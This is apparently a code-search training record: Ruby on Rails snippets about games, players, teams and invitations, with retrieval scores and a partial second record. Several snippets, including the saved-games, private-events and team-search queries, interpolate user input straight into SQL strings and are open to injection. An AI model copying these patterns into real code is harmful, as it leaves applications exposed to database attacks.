"def adult_teams_query()\n return \"SELECT teams.id\n FROM (teams, team_profiles)\n LEFT JOIN (divisions_teams)\n ON (divisions_teams.team_id = teams.id)\n WHERE team_profiles.id=teams.profile_id\n AND team_profiles.age_group > 21\n AND divisions_teams.division_id IS NULL\"\n end",
"def find\n # @game = Game.not_full.without(current_user).sample || Game.create\n # @game.users << current_user\n \n @game = Game.last\n end",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def junior_teams_query()\n return \"SELECT teams.id\n FROM (teams, team_profiles)\n LEFT JOIN (divisions_teams)\n ON (divisions_teams.team_id = teams.id)\n WHERE team_profiles.id=teams.profile_id\n AND team_profiles.age_group <= 21\n AND divisions_teams.division_id IS NULL\"\n end",
"def onlinePlayers(db)\n\tret = []\n\[email protected]('sgt-online').each do |pid|\n\t\tret.push(Player.new(@db, pid))\n\tend\n\tret\nend",
"def invitation_search(q, limit=10)\n if q.present? and q.length > 1\n already_exists_ids = []\n already_exists_emails = []\n # add owner\n already_exists_ids << self.id\n # add colaborators\n if self.members.present?\n already_exists_ids << self.members.map{|x| x.member_id}\n end\n # add invitations\n pending = Invitation.pending_from_user(self.id)\n if pending.present?\n already_exists_emails << pending.map{|x| x.to_email}\n end\n\n already_exists_ids.flatten!\n already_exists_emails.flatten!\n\n users = User.any_of({first_name: /#{q}/i}, {last_name: /#{q}/i}, {email_no_domain: /#{q}/i}).limit(limit)\n if already_exists_ids.present? && already_exists_emails.present?\n users = users.not_in({id: already_exists_ids.uniq, email: already_exists_emails.uniq})\n elsif already_exists_ids.present?\n users = users.not_in({id: already_exists_ids.uniq})\n elsif already_exists_emails.present?\n users = users.not_in({email: already_exists_emails.uniq})\n end\n\n return users\n end\n end",
"def index\n #@user_games = UserGame.where(\"\"user_id: current_user.id, \"`state` >= 0\"\"\")\n @user_games = UserGame.where(\"`user_id` = ? AND `state` >= ?\", current_user.id, 0)\n @games = []\n @user_games.each do |user_game|\n @games << Game.find(user_game.game_id)\n end\n end",
"def team_player_plays_on(player)\n teams.select { |t| t.players.include?(player) }.first\n end",
"def poolplay_games\n self.games.select { |game| game.version == 'poolplay'}\n end",
"def get_saved_games_list(username)\n result = Array.new()\n res = @db.query(\"SELECT DISTINCT GameID, User1, User2, GameType FROM SavedGames WHERE User1 = '#{username}' OR User2 = '#{username}';\")\n while row = res.fetch_row do\n result.push(GameListElement.new(row[0], row[1], row[2], row[3]))\n end\n result\n end",
"def fetch_games\n game_csv = nil\n DGS::ConnectionPool.with do |dgs|\n game_csv = dgs.get(session, '/quick_status.php?version=2')\n end\n new_games = GameCSVParser.new(game_csv).games\n game_merger = GameMerger.new(self.games, new_games)\n self.games = game_merger.current_games\n create_notifications_for_games!(game_merger)\n game_merger.added_games\n # rescue others => report & ignore, blow transaction?\n rescue DGS::NotLoggedInException\n handle_expired_session\n end",
"def get_live_league_games\n\tcurrent_matches = []\n\tDota.live_leagues.each do |match|\n\t\tif match.raw_live_league['dire_team'] && match.raw_live_league['radiant_team']\n\t\t\tcurrent_matches.push(match)\n\n\t\tend\n\tend\n\n\t#puts 'New Matches:'\n\tcurrent_matches.sort! { |a, b| b.lobby_id <=> a.lobby_id }\n\tcurrent_matches\nend",
"def filter_by_email\n Entry.joins(:user)\n .where('users.email = :email', email: email)\n .paginate(page: page_number)\n .order(checkin_at: :desc)\n end",
"def unregistered_events\n tournament\n .schedules\n .keep_if { |s| s.is_scheduled_online? && s.division == division } -\n sign_ups.map{|x| x.try(:timeslot).try(:schedule) }\n end",
"def won_games\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::BLUE_TEAM }, winning_color: PlayerGame::BLUE_TEAM).or(\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::WHITE_TEAM }, winning_color: PlayerGame::WHITE_TEAM)\n )\n .where(player_games: { players: { user_id: self.id } })\n .count\n end",
"def team_by_email\n @team_by_email ||= team_index_by_field 'email'\n end",
"def index\n team_name = params[:team_name]\n team = Team.is_like(team_name).first if team_name.present?\n if team\n redirect_to team_path(team)\n end\n\n @show_jumbo = anonymous and request.path == '/'\n @games = Game.relevant.order(updated_at: :desc )\n end",
"def pending_games\n self.wins.where(confirmed: false).order(\"created_at DESC\")\n end",
"def get_matches\n if has_matches?\n @matches = @local_swimmer.meeting_programs\n .sort_by_date('DESC')\n .joins(:meeting, :event_type)\n .includes(:meeting, :event_type)\n .where([\n 'exists (select 1 from meeting_individual_results mir join swimmers s on s.id = mir.swimmer_id where s.id = ? and mir.meeting_program_id = meeting_programs.id)',\n @visitor_swimmer.id\n ])\n end\n end",
"def unplayed_cards\n player_cards.select { |c| c.unplayed? }\n end",
"def poolplay_team_objects\n self.teams.select { |team| !team.playoffs }\n end",
"def refused_users(users)\n emails = email_list(users.map(&:email))\n if users.count == 0\n nil\n else\n \"#{emails} indicated that they were not present for the meeting.\".html_safe\n end\n end",
"def players(team)\n\t\t# select all the games including that team, and then get that teams roster from each game, flatten, and remove dups.\n\t\[email protected]{|g| g.teams.include?(team)}.map {|g| g.players[g.teams.index(team)]}.flatten.uniq\n\tend",
"def index\n player = params[:player].present? ? params[:player] : nil\n @games = if player\n Game.joins(:players).where('players.id = ?', player)\n else\n Game.all\n end\n end",
"def find_battle\n\tif (DBTools.new.getPlayerId(session['sessionid']) == false)\n\t\thalt(401, 'user not logged in')\n\telse\n\t\tplayerid = DBTools.new.getPlayerId(session['sessionid']);\n\tend\n\tpush_onto_waiting(playerid)\n\tcheck_for_matches()\n\treturn {'success' => true}.to_json\nend",
"def league_teams_query()\n return \"SELECT dt.team_id\n FROM divisions_teams dt, leagues l, divisions d\n WHERE l.id = d.league_id\n AND d.id = dt.division_id\n AND l.source_id IS NULL\"\n end",
"def remaining_players\n\t\tself.players.where(:rank => nil)\n\tend",
"def search\n # params[:query] populated by query text input field\n # here we search for users that match input email\n @users = User.where(email: params[:query])\n end",
"def find_game \n @search_tag = params[\"search_tag\"] \n @home_search ||= params[\"home_search\"]\n @page = (params[\"page\"]) ? params[\"page\"] : 1\n @games = (@search_tag) ? parse_and_find_games(@search_tag) : Game.find(:all)\n @result_count = @games.count \n @start_interval = get_start_and_end_pagination_intervals(params[\"page\"], @result_count).first\n @end_interval = get_start_and_end_pagination_intervals(params[\"page\"], @result_count)[1]\n @game_results = @games.paginate({:page => params[:page], :per_page => 20}) \n (@games.empty?) ? render_for_new_game(@search_tag) : render_for_search_results(@home_search) \n end",
"def alive_players\n @players.reject{|p| p.dead? }\n end",
"def get_team_games(team)\n # Set Up\n doc = getHTML(\"http://espn.go.com/mens-college-basketball/team/schedule/_/id/#{team.webExt}\")\n\n table = doc.xpath('//table[@class = \"tablehead\"]')\n rows = table.css('tr')\n\n # Loop through each row\n rows.each do |row|\n if(row.css('li').count > 3)\n linkHref = row.css('li[@class =\"score\"]')[0].css('a[href]')[0]\n if(linkHref != nil)\n link = linkHref[\"href\"].scan(/(.*=)(\\d+)/)\n gameID = link[0][1] \n if(Game.where(gameID: gameID).empty?)\n # get Date\n date = row.css(\"td\")[0].text\n # get opp\n opp = row.css('li[@class =\"team-name\"]').text\n # get HOME/away (vs/@)\n loc = row.css('li[@class =\"game-status\"]').text\n if(loc == \"@\")\n homeTeam = team.name\n awayTeam = opp\n else\n homeTeam = opp\n awayTeam = team.name\n end\n \n # Creates Game Entry\n game = Game.create(gameID: gameID, date: date, homeTeam: homeTeam, awayTeam: awayTeam)\n # Gets more game stats\n get_game_stats(game)\n end\n end\n end\n end\n end",
"def fetch_player_activity\n unique_ids_two_weeks_ago = Card.for_quizzes.between_days('quizzes', 14, 8).select(:user_id).distinct.pluck(:user_id)\n unique_ids_one_week_ago = Card.for_quizzes.between_days('quizzes', 7, 1).select(:user_id).distinct.pluck(:user_id)\n returned_user_ids = unique_ids_two_weeks_ago.select { |id| unique_ids_one_week_ago.include?(id) }\n left_user_ids = unique_ids_two_weeks_ago.reject { |id| unique_ids_one_week_ago.include?(id) }\n returned_users = User.where(id: returned_user_ids).sample(25)\n left_users = User.where(id: left_user_ids).sample(25)\n message_count = Notification.where('notifications.created_at BETWEEN ? AND ?', DateTime.current.beginning_of_day - 7, DateTime.current.end_of_day - 1).size\n new_users = User.where('users.created_at BETWEEN ? AND ?', DateTime.current.beginning_of_day - 7, DateTime.current.end_of_day - 1).sample(25)\n confirmed_can_users = Hash.new(0)\n can_users = Hash.new(0)\n User.confirmed.where(source: \"mlb_scan_lp\").each do |user|\n role = user.roles.first\n role ? confirmed_can_users[user.roles.first.name] += 1 : confirmed_can_users['global'] += 1\n end\n User.where(confirmed: false).where(source: \"mlb_scan_lp\").each do |user|\n role = user.roles.first\n role ? can_users[user.roles.first.name] += 1 : can_users['global'] += 1\n end\n registered_count = confirmed_can_users.size\n unregistered_count = can_users.size\n phone_number_count = PhoneNumber.all.size\n WeeklyUserActivityMailer.stats_email(\n new_users: new_users, \n returned_users: returned_users, \n left_users: left_users,\n message_count: message_count,\n can_users: can_users,\n confirmed_can_users: confirmed_can_users,\n registered_count: registered_count,\n unregistered_count: unregistered_count,\n phone_number_count: phone_number_count\n ).deliver_now\n end",
"def past_teams\n Team.find_by_sql([\"SELECT t.* FROM teams t INNER JOIN team_assignments ta ON ( t.id = ta.team_id) INNER JOIN users u ON (ta.user_id = u.id) INNER JOIN courses c ON (t.course_id = c.id) WHERE u.id = ? AND (c.semester <> ? OR c.year <> ?)\", self.id, AcademicCalendar.current_semester(), Date.today.year])\n end",
"def past_teams\n Team.find_by_sql([\"SELECT t.* FROM teams t INNER JOIN teams_people tp ON ( t.id = tp.team_id) INNER JOIN users u ON (tp.person_id = u.id) INNER JOIN courses c ON (t.course_id = c.id) WHERE u.id = ? AND (c.semester <> ? OR c.year <> ?)\", self.id, AcademicCalendar.current_semester(), Date.today.year])\n end",
"def show\n @q = User.ransack(params[:q])\n\n @user_search = Array.new\n @user_search = @q.result if params[:q] and params[:q][:name_or_phone_or_email_cont].length > 0\n\n\n @players = User.find(@team.player_team_rs.pluck(:user_id))\n end",
"def slackerboard()\n offset = self.timezone_offset()\n users_who_uploaded_yesterday = User.joins(:data_points).select(\"distinct users.*\").where(\"data_points.uploaded_at >= ?\", (Time.now + (offset).seconds).beginning_of_day - 1.day)\n if users_who_uploaded_yesterday.length == 0\n User.active().confirmed().visible().includes(:preference).order(\"username desc\")\n else\n User.active().confirmed().visible().includes(:preference).order(\"username desc\").where(\"id NOT IN (\"+users_who_uploaded_yesterday.map(&:id).join(\",\")+\")\")\n end\n end",
"def frauded\n Event.click.one_day.where('id != ? AND (ip = ? or uniqueuser = ?)', self.id, self.ip, self.uniqueuser)\n end",
"def upcoming_games_all\n (upcoming_games_host | upcoming_games_player).sort\n end",
"def index\n @unavailable_players = UnavailablePlayer.all\n end",
"def find_registered_guests(id)\r\n @reg_guests = []\r\n @reg_guests << User.find(@event.user_id).username\r\n PrivateInvite.find_all_by_private_event_id(@event.id).each do |g|\r\n if User.find_by_email(g.email)\r\n @reg_guests << User.find_by_email(g.email).username\r\n end\r\n end\r\n @reg_guests \r\n end",
"def player_matches(player, playerdiv)\n result = Match.joins(:results).where(:results => {:player_id => player}).where(:division_id => playerdiv)\n @player_matches = Array.new\n result.each do |m|\n @player_matches << m.id\n end\n return @player_matches\n end",
"def search_players(player_name)\n # for player in @players\n # if player == player_name\n # return true\n # else\n # return false\n # end\n # end\n # better way to write - had implicit true/false result\n return @players.include?(player)\n end",
"def index\n if params[:search]\n @games = current_user.games.search(params[:search]).order(started: :desc)\n else\n @games = current_user.games.all.order(started: :desc)\n end\n end",
"def find_records(reference, email = nil)\n EmailSubmissionsAudit.where(reference: %W[user;#{reference} court;#{reference}]).select do |record|\n email.blank? || BCrypt::Password.new(record.to) == email\n end\n end",
"def upcoming_games_host\n self.games.all.select { |g| g.date >= Date.today }.sort\n end",
"def get_team_games(team)\n res = Array.new\n\n @games.each do |g|\n if team == g.home_team\n res.push(g)\n end\n\n if team == g.away_team\n res.push(g)\n end\n end\n\n return res\n end",
"def match_by_email\n true\n end",
"def game_search(name)\n @search.offset(3)\n @search.limit(15) # max 100\n @search.resources('game')\n @search.fields('id')\n @search.query(name)\n return @search.fetch\n end",
"def load_completed_private_events\r\n email = User.find(session[:user_id]).email\r\n @completed_events = PrivateEvent.find_by_sql(\"select * from private_events as pe where pe.id in (select distinct pe.id from private_events as pe left join private_invites as pi on pe.id = pi.private_event_id where ((pi.email = '#{email}') or (pe.user_id = '#{session[:user_id]}')) and ((begins < CURRENT_DATE() and ends < CURRENT_DATE())))\") \r\n end",
"def group_invitable_users\n group = Group.find(params[:group_id])\n @users = User.where(\"LOWER(name) LIKE ?\", \"%#{@query}%\")\n .where.not(id: group.members).limit(10)\n .sort_by { |user| SearchScore.name(user.name, @query) }\n\n render \"users\"\n end",
"def tied_games\n Game.joins(:players).where( players: { user_id: self.id }, winning_color: Game::TIED_GAME).count\n end",
"def active_recipient_profiles\n Profile.find_by_sql([\"SELECT profiles.* \n FROM profiles \n WHERE profiles.user_id IN \n (\n SELECT users.id \n FROM users\n JOIN matches ON users.id = matches.recipient_id \n JOIN exchanges ON matches.exchange_id = exchanges.id\n WHERE exchanges.match_date < :todays_date \n AND exchanges.exchange_date > :todays_date\n AND matches.santa_id = :user_id)\", \n :todays_date => Date.today,\n :user_id => self.id])\n end",
"def playGame\n \twhile not @players.empty?\n quitters = @rounds.playRound(@players)\n quitters.each do |player| # Remove quitters\n \[email protected](player)\n end\n @players.delete_if do |player| # Remove bankrupt players\n \tif player.isBankrupt\n \t printBankruptMessage(player)\n \t true\n \tend\n end\n end\n puts \"Game over. Thanks for playing! Byebye!\"\n end",
"def find_house(email)\n found_house = nil\n @houses.each do |house|\n if house.email == email\n found_house = house\n break\n end\n end\n found_house\n end",
"def show\n @game = @game_round.game\n @q = GamePlayer.where(game_round: @game_round).ransack(params[:q])\n Rails.logger.debug \" @q #{@q.inspect}\"\n @game_players = @q.result.page( params[:page])\n end",
"def matchable_users(&block)\n users = @users.values.select { |u| u.sessions.length > 0 && !u.matched }\n block.call users\n end",
"def load_whitelist\n query = \"select peer_id from users\"\n end",
"def sql_find_game(default_nick, args, context=CTX_LOG)\n query_group = sql_parse_query(default_nick, args, context)\n query_group.with_context do\n q = query_group.primary_query\n sql_exec_query(q.num, q)\n end\nend",
"def get_player_and_game\n # flash[:error] = nil # RWP TEMP - get rid of this if/when flash works correctly\n @sets = []\n @found_set = nil\n return false unless login_to_facebook\n @player = @current_user.player\n if (params[:id])\n @game = Game.find(params[:id])\n @score = Score.find_by_player_id_and_game_id( @current_user.player.id, params[:id] )\n raise Exceptions::UserNotPlayingGame if @score.blank?\n end\n true\n end",
"def check_for_matches()\n\tconn = DBTools.new.connectToDB()\n\tquery = \"SELECT userid FROM users_waiting LIMIT 2;\"\n\tresult = conn.exec(query)\n\tif (result.ntuples() == 2)\n\t\tp1id = result[0]['userid']\n\t\tp2id = result[1]['userid']\n\t\tconn.transaction do\n\t\t\tcreate_battle = \"INSERT INTO battles VALUES (default, #{p1id}, #{p2id}, default, default, default, default);\"\n\t\t\tconn.exec(create_battle)\n\t\t\tremove_from_waiting = \"DELETE FROM users_waiting WHERE userid=#{p1id} OR userid=#{p2id};\"\n\t\t\tconn.exec(remove_from_waiting)\n\t\t\tget_battle_id = \"SELECT battleid FROM battles ORDER BY battleid DESC LIMIT 1;\"\n\t\t\tresult = conn.exec(get_battle_id)\n\t\t\tbattleid = result[0]['battleid']\n\t\t\tnotify_user = \"INSERT INTO users_notify VALUES (#{p1id}, #{battleid}, false);\"\n\t\t\tconn.exec(notify_user)\n\t\t\tnotify_user = \"INSERT INTO users_notify VALUES (#{p2id}, #{battleid}, false);\"\n\t\t\tconn.exec(notify_user)\n\t\tend\n\tend\n\tconn.finish()\nend",
"def signups\n sign_up = []\n lists = self.listings.map {|listing| listing.id}\n PlayerSignup.all.select do |signup|\n if lists.any?(signup.listing_id)\n sign_up << signup\n end\n end\n sign_up\n end",
"def find_shared_matchups\n ChampionGGApi::MATCHUP_ROLES.values.inject([]) do |shared_matchups, matchup_role|\n matchups = Cache.get_champion_matchups(@name1, matchup_role, @elo)\n shared_matchups.tap do\n if matchups && matchup = matchups[@name2]\n shared_matchups << matchup\n end\n end\n end\n end",
"def play_game\n @events.handle(:game) do\n until @players.empty?\n play_round\n\n # Remove the players that have no cash left.\n @players.reject! {|p| p.cash <= 0 }\n end\n end\n end",
"def find_bad_students(data)\n students = Set.new(Student.where(hidden: false).all.pluck(:user_name))\n data.map { |_, *memberships| memberships }.flatten.reject { |student| students.include?(student) }\n end",
"def list_active\n @games = Game.all.reject{|g| g.started_at.nil?}\n \n if @games.nil? \n respond_to do |format|\n format.all { render :status => :not_found, :text => \"No active games found.\" }\n end\n else\n respond_to do |format|\n format.html { render :action => \"index\", :html => @games }\n format.xml { render :action => \"index\", :xml => @games }\n format.json { render :index, :json => @games }\n end\n end\n end",
"def get_reg_users(guest_emails)\n g_arr = Array.new\n guest_emails.split(\",\").each do |e|\n # add user to guests array\n if user = User.find_by(email: e.strip)\n g_arr << user unless user == current_user\n else\n p \"User with email #{e} not found\"\n # Tell the UserMailer to send a invite\n UserMailer.invitation_email(e, current_user, @event).deliver\n end\n end\n g_arr\n end",
"def index\n @games = Game.with_filter(@filters).page params[:page]\n end",
"def alive_in_game?(game)\n game.players.select { |player| player.role == \"player\"}.map(&:user_id).include?(id)\n end",
"def filter_invalid_emails(emails)\n invalid_emails = ['[email protected]', 'asdasd']\n emails.select{|email| !invalid_emails.include? email.strip.downcase}\n end",
"def load_users\n @users_not_in_group = User.active.not_in_group(@project_group).limit(100)\n end",
"def invalidScoreEmail(player, match)\n @user = player\n @match = match\n \n mail to: player.email, subject: \"Scores deemed invalid!\"\n end",
"def get_match_ids(account_id)\n # Given a summoner's accountId, make an API request for their match history.\n url = \"https://#{REGION}.api.riotgames.com/lol/match/v4/matchlists/by-account/#{account_id}?api_key=#{API_KEY}\"\n response_string = RestClient.get(url)\n #sleep(1)\n match_history = JSON.parse(response_string)\n match_ids = match_history[\"matches\"].map {|match| match['gameId']}.uniq\nend",
"def index\n if params[:team]\n team = Team.find_by_sql(\"SELECT * FROM teams WHERE school LIKE '%#{params[:team]}%';\").first\n @players = Player.find_by_sql(\"SELECT * FROM players WHERE team_id = #{team.id};\")\n else\n @players = Player.find_by_sql(\"SELECT * FROM players;\").reverse\n end\n end",
"def exclude_sender_in_team_from_recognition_recipients\n sender_recipients = recognition_recipients.select {|rr| rr.user_id == sender&.id }\n if sender_recipients.any?{|rr| rr.team_id.present? } && sender_recipients.none?{|rr| rr.team_id.nil? }\n self.recognition_recipients = self.recognition_recipients.reject{|rr| rr.team_id.present? && rr.user_id == sender.id}\n end\n end",
"def upcoming_matches\n matches = Event.upcoming.map do |ev| \n match = ev.wattball_match\n\n # Get non-null matches that the team is playing in\n match if match and (match.team1 == self or match.team2 == self)\n end\n\n matches.compact\n end",
"def get_opponents(game)\n opponents = []\n game.get_players.each do |player|\n if player.get_team(game) != self.get_team(game)\n opponents.push player\n end\n end\n opponents\n end",
"def dead_opponents(battler = $game_player)\n opponents = []\n @action_battlers.each do |key, members|\n next if key == battler.team_id\n members.compact.each do |member|\n next unless member.dead?\n opponents.push(member)\n end\n end\n return opponents\n end",
"def index\n drafted_players_list = Player.includes(:team).where(claimed_by: 1).order(\"claim_time asc\")\n drafted_players_size = drafted_players_list.size\n\n @bye_weeks = {}\n ::PlayersController.roster.each do |(k,v)|\n if (k != \"WR/TE\")\n @bye_weeks[k] = Set.new\n end\n end\n\n drafted_players_list.each do |player|\n @bye_weeks[player.position] << player.team.bye\n end\n\n @starting_players = []\n @benched_players = []\n\n starter_positions = []\n bench_positions = []\n\n ::PlayersController.roster.each do |(key,value)|\n count = 0\n (start_limit, _) = value\n drafted_players_list = drafted_players_list.reduce([]) {|dacc, player|\n if (match(key, player.position))\n count += 1\n if (count <= start_limit)\n @starting_players << player\n else\n dacc << player\n end\n else\n dacc << player\n end\n dacc\n }\n if (count < start_limit)\n starter_positions << key\n end\n end\n\n ::PlayersController.roster.each do |(key,value)|\n count = 0\n (start_limit, max_limit) = value\n if max_limit\n limit = max_limit - start_limit\n else\n limit = 0\n end\n drafted_players_list = drafted_players_list.reduce([]) {|dacc, player|\n if (match(key, player.position))\n count += 1\n if (count <= limit)\n @benched_players << player\n else\n raise \"bug\"\n end\n else\n dacc << player\n end\n dacc\n }\n if (count < limit)\n bench_positions << key\n elsif (count == limit)\n # we are at the max\n else\n raise \"#{key}: #{count} >= #{limit}\"\n end\n end\n\n unless (drafted_players_size == @starting_players.size + @benched_players.size)\n raise \"Ug! Bug!\"\n end\n if (drafted_players_list.size > 0)\n raise \"Ack! bug!\"\n end\n\n if (starter_positions.size > 0) \n valid_positions = starter_positions\n elsif (bench_positions.size > 0) \n valid_positions = bench_positions\n else\n valid_positions = []\n end\n\n order = params[:order] || 'proj'\n\n unless ['proj', 'stats'].include?(order)\n raise \"bad order\"\n end\n\n all_available_players = Player.includes(:team).where(claimed_by: nil).order(\"#{order} desc\")\n @highest_ranked = all_available_players\n \n starter_positions_dup = Set.new(starter_positions)\n starter_positions_dup.delete(\"D/ST\")\n starter_positions_dup.delete(\"K\")\n if (starter_positions_dup.empty?)\n @exclude_kicker_defense = select_players(all_available_players, bench_positions, 10)\n else\n @exclude_kicker_defense = []\n end\n\n @available_players = select_players(all_available_players, valid_positions, 10)\n\n @removed_players = Player.includes(:team).where(claimed_by: 0).order(\"claim_time asc\")\n end",
"def find_emails\n options = { :conditions => ['last_send_attempt < ?', Time.now.to_i - 300] }\n options[:limit] = batch_size unless batch_size.nil?\n mail = ActionMailer::Base.email_class.find :all, options\n\n log \"found #{mail.length} emails to send\"\n mail\n end",
"def members_not_paid_tithe\n members.where.not(id: payments.completed.where(goal: 'tithe', payment_at: Time.current.beginning_of_month..Time.current).pluck(:user_id))\n end"
] | [
"0.6141907",
"0.6012204",
"0.6012204",
"0.57206005",
"0.5627729",
"0.55997694",
"0.54813236",
"0.5388144",
"0.53074324",
"0.5298891",
"0.5242624",
"0.5169554",
"0.51637065",
"0.51493025",
"0.51374656",
"0.51364565",
"0.51175463",
"0.50874704",
"0.50781584",
"0.5056534",
"0.5039074",
"0.50186473",
"0.50066835",
"0.5003283",
"0.49932352",
"0.49557087",
"0.49483094",
"0.4944072",
"0.49419254",
"0.4927655",
"0.49265823",
"0.4924958",
"0.4918127",
"0.4907232",
"0.4905687",
"0.49044833",
"0.49039674",
"0.49006483",
"0.4881408",
"0.4877735",
"0.4877144",
"0.48723727",
"0.4872346",
"0.48721483",
"0.48692194",
"0.4866386",
"0.48639604",
"0.4856798",
"0.48546565",
"0.4842557",
"0.48411545",
"0.48339894",
"0.48302758",
"0.48286873",
"0.48279253",
"0.48156178",
"0.4810107",
"0.4806182",
"0.48052794",
"0.4782153",
"0.4771443",
"0.47634277",
"0.47515908",
"0.474689",
"0.47422498",
"0.47400633",
"0.47370327",
"0.47283158",
"0.47266176",
"0.47252044",
"0.4718549",
"0.47054753",
"0.4701684",
"0.46992984",
"0.46893844",
"0.46870932",
"0.46831095",
"0.4677353",
"0.46758148",
"0.46687213",
"0.4668508",
"0.4665676",
"0.4665021",
"0.46613982",
"0.46593687",
"0.46568897",
"0.465391",
"0.46534953",
"0.46528256",
"0.46495724",
"0.46491322",
"0.46443063",
"0.46402913",
"0.46352503",
"0.46316746",
"0.4628848",
"0.46283996",
"0.46277198",
"0.46273315",
"0.46272734"
] | 0.7503585 | 0 |
rubocop:disable Metrics/AbcSize Prevent access to games_controllershow if player is not a part of that game | def own_game?
return unless @game.black_player_id
return if @game.white_player_id == current_user.id || @game.black_player_id == current_user.id
flash[:alert] = "Sorry, you're not a player in that game"
redirect_to games_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def player_of_game(game)\n game.player(self)\n end",
"def get_winning_player\n # if one player has all the cards\n players.map{|p| @winning_player = p if p.num_cards_remaining == Deck.num_cards}\n\n # if that's not the case, take the player with the highest number of cards\n if @winning_player.blank?\n @winning_player = CardFuncs::player_with_highest_card_count players\n end\n @winning_player\n end",
"def show\n @game = Game.includes(:drawn_cards).where(id: params[:id]).first\n game_owner_only!\n end",
"def must_be_my_turn\n @game = Game.find(params[:game_id])\n @player = Player.find(params[:id])\n unless @game.turn_player == @player\n render nothing: true, status: :forbidden\n end\n end",
"def winning_player_id\n return nil if draw?\n player_score.value > opponent_score.value ? player_id : opponent_id\n end",
"def show\n # before_action\n @games = @player.games\n end",
"def player1\n if self.game_type == 'cvc'\n player1 = Computer.find(self.player1_id)\n else \n player1 = Human.find(self.player1_id)\n end\n return player1\n end",
"def right_player?\n current_player == Player.find(@piece.owner)\n end",
"def current_player\n Player.find(player_turn) unless player_turn.nil?\n end",
"def won_game(player)\n if player.advantage\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n elsif player.points > 3 and player.opponent.points < 3\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n end\n end",
"def player_in_ongoing_game\n ongoing_game.player(self) rescue false\n end",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def collision_players(player)\n @age>(60*5) && local && Gosu::distance(@x, @y, player.x, player.y) < (7+player.r) \n end",
"def gameplay; @gameplay ||= match.gameplays[current_player_side]; end",
"def get_players\n\n end",
"def players_allowed_to_play\n return if self.manager.nil? || self.players.nil?\n\n self.players.each do |p|\n unless p.tournaments.include? self.manager\n errors.add(:match, \"players must be in same tournament as match\")\n end\n end\n end",
"def viewing_players_tab?\n ! viewing_scouts_tab?\n end",
"def player_1_actual\n unless self.player_1_id == nil || User.all.include?(self.player_1)\n errors.add(:no_player_1, \"Sorry, Player 1 is not a user we recognise.\") \n end\n end",
"def no_convocateds\n self.players.no_convocated\n end",
"def player_turn\n # if the board has more x's then it is the computer's turn\n if @board.count(@symbol) > @board.count(@computer_symbol)\n computer_turn\n else\n users_turn\n end\n end",
"def mystic_wolf_view_player(m, view)\n if @game.started? && @game.waiting_on_role_confirm && @game.has_player?(m.user)\n player = @game.find_player(m.user)\n \n if (player.mystic_wolf? || (player.doppelganger? && player.cur_role == :mystic_wolf))\n target_player = @game.find_player(view)\n if player.confirmed?\n User(m.user).send \"You have already confirmed your action.\"\n elsif target_player.nil?\n User(m.user).send \"\\\"#{view}\\\" is an invalid target.\"\n elsif target_player == player\n User(m.user).send \"You cannot view yourself.\"\n else\n player.action_take = {:mysticwolfplayer => target_player} \n player.confirm_role\n User(m.user).send \"Your action has been confirmed.\"\n self.check_for_day_phase\n end\n else\n User(m.user).send \"You are not the MYSTIC WOLF.\"\n end\n end\n end",
"def set_game\n @game = Game.includes(game_players: %i[force user]).find(params[:id])\n end",
"def is_computer_playing? game\n game_users_ids = game.user_games.map(&:user_id)\n game_users_ids.include? User::COMPUTER_ID\n end",
"def create\n @game = Game.new(game_params)\n\n @game.player_1_fleet_coords -= [\"\"] if @game.player_1_fleet_coords\n @game.player_2_fleet_coords -= [\"\"] if @game.player_2_fleet_coords\n\n # TODO: Use Action Cable to keep channel open to player_1\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: @game.game_state_message }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def game_status\n @player = Player.find(params[:id])\n\n # unless @player.is_boss?\n # redirect_to :root, :notice => \"Sorry, the game is closed right now. Please try again later.\"\n # return false\n # end\n end",
"def team_player_plays_on(player)\n teams.select { |t| t.players.include?(player) }.first\n end",
"def allowed_player\n player = Player.where(id: params[:player_id], access_code: params[:access_code]).take\n if player == nil\n render nothing: true, status: :unauthorized\n return\n end\n \n # If player doesn't have player identifier set yet, set it\n if player.uniqkey == nil\n player.uniqkey = params[:uniqkey]\n player.save\n else\n if player.uniqkey != params[:uniqkey]\n render nothing: true, status: :unauthorized\n return\n end\n end\n end",
"def check_player\n if self.moves == nil or self.moves.length % 2 == 0\n @current_player = 1\n else\n @current_player = 2\n end \n end",
"def player_board\n boards.player.first\n end",
"def index\n player = params[:player].present? ? params[:player] : nil\n @games = if player\n Game.joins(:players).where('players.id = ?', player)\n else\n Game.all\n end\n end",
"def opponent(player)\n @sides[0]\n end",
"def winning_player\n played_cards.max_by { |_, card| card_scores[card] }.first\n end",
"def not_played_by?(player)\n opponent?(player) ?\n opponent_moves.last.opponent_choice.nil? :\n player_moves.last.player_choice.nil?\n end",
"def player\n\t\t@current_player\n\tend",
"def set_games_player\n @games_player = GamesPlayer.find(params[:id])\n end",
"def current_player\n @players.first\n end",
"def game_play?()\n if self.admin\n return false\n elsif self.team.nil?\n return false\n elsif !self.team_adopt\n return false\n end\n game=Game[self.team.active_game]\n if game.nil?\n return false\n end\n\n if game.run?\n return true\n elsif game.owner?(self)\n return true\n end\n\n return false\n end",
"def force_winner(player)\n player_symbol = player == @player1 ? 'O' : 'X'\n WIN_CONDITION[0].each { |x| @board.update_board(x + 1, player_symbol) }\n end",
"def human_turn?\n @current_player != @computer_player\n end",
"def game_over?\n remaining_players == 1\n end",
"def turns_taken(player)\n @players[player]\n end",
"def lead_card\n player = lead_player\n @played[player]\n end",
"def index\r\n @gameplayers = Gameplayer.includes(:player, :game).all\r\n end",
